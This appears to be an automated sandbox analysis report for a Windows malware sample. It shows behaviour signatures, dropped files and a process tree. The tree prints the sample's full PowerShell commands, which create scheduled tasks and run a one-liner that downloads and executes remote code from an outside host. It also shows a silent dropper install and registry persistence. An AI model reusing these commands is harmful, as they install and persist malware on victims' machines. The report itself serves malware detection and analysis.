Overview

overview

8

Static

static

bd8dc7e390...75.exe

windows7_x64

8

bd8dc7e390...75.exe

windows10_x64

8

Analysis

  • max time kernel
    83s
  • max time network
    115s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    12/07/2021, 07:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe
  • Size 4.8MB
  • Sample210712-ms87kppg5x
  • SHA256 bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975
  • MD5 SHA1 SHA512
Score
8/10
discoverypersistence

Malware Config

Signatures

  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 28 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 6 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe
    "C:\Users\Admin\AppData\Local\Temp\bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3988
    • C:\Windows\system32\ping.exe
      ping baidu.com
      2⤵
      • Runs ping.exe
      PID:640
    • C:\Windows\system32\cmd.exe
      cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_SETTINGS"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3412
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3504
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN SYSTEM_SETTINGS
        3⤵
          PID:2308
      • C:\Windows\system32\cmd.exe
        cmd /c "C:\Users\Public\vc.exe /install /quiet /norestart"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2428
        • C:\Users\Public\vc.exe
          C:\Users\Public\vc.exe /install /quiet /norestart
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2424
          • C:\Windows\Temp\{22491005-A750-4258-ADF7-4444E3B29D55}\.cr\vc.exe
            "C:\Windows\Temp\{22491005-A750-4258-ADF7-4444E3B29D55}\.cr\vc.exe" -burn.clean.room="C:\Users\Public\vc.exe" -burn.filehandle.attached=604 -burn.filehandle.self=612 /install /quiet /norestart
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:3340
            • C:\Windows\Temp\{2F554AC3-13A6-423F-9454-7E358B81B44E}\.be\VC_redist.x86.exe
              "C:\Windows\Temp\{2F554AC3-13A6-423F-9454-7E358B81B44E}\.be\VC_redist.x86.exe" -q -burn.elevated BurnPipe.{E3F0EB33-C557-446F-AE2F-2899ACF94F37} {556473B1-0840-44E3-8CBE-00825F38B630} 3340
              5⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Modifies registry class
              PID:1360
      • C:\Windows\system32\cmd.exe
        cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\Silverlight.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_TEST && SCHTASKS /DELETE /F /TN SYSTEM_TEST "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1492
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\Silverlight.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:844
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN SYSTEM_TEST
          3⤵
            PID:3916
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /DELETE /F /TN SYSTEM_TEST
            3⤵
              PID:4088
          • C:\Windows\system32\cmd.exe
            cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_CDAEMON"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3520
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1008
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN SYSTEM_CDAEMON
              3⤵
                PID:3788
          • C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
            C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a
            1⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            PID:1812
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3124
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
            1⤵
            • Checks SCSI registry key(s)
            • Modifies data under HKEY_USERS
            PID:3524
          • C:\Windows\system32\srtasks.exe
            C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2724
          • C:\Users\Public\Silverlight.exe
            C:\Users\Public\Silverlight.exe
            1⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:400
            • \??\c:\531983eb8fe4c9cbaa160db9\install.exe
              c:\531983eb8fe4c9cbaa160db9\install.exe
              2⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:804
          • C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
            C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a
            1⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            PID:3844

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                memory/804-226-0x0000000000570000-0x000000000061E000-memory.dmp
                Download

                memory/844-186-0x000002A4ACCD3000-0x000002A4ACCD5000-memory.dmp
                Download

                memory/844-195-0x000002A4ACCD6000-0x000002A4ACCD8000-memory.dmp
                Download

                memory/844-185-0x000002A4ACCD0000-0x000002A4ACCD2000-memory.dmp
                Download

                memory/1008-214-0x000001352EA80000-0x000001352EA82000-memory.dmp
                Download

                memory/1008-216-0x000001352EA83000-0x000001352EA85000-memory.dmp
                Download

                memory/1008-228-0x000001352EA86000-0x000001352EA88000-memory.dmp
                Download

                memory/3504-132-0x000001AC2B9B6000-0x000001AC2B9B8000-memory.dmp
                Download

                memory/3504-127-0x000001AC2C500000-0x000001AC2C501000-memory.dmp
                Download

                memory/3504-124-0x000001AC2B9B0000-0x000001AC2B9B2000-memory.dmp
                Download

                memory/3504-125-0x000001AC2B9B3000-0x000001AC2B9B5000-memory.dmp
                Download

                memory/3504-121-0x000001AC13890000-0x000001AC13891000-memory.dmp
                Download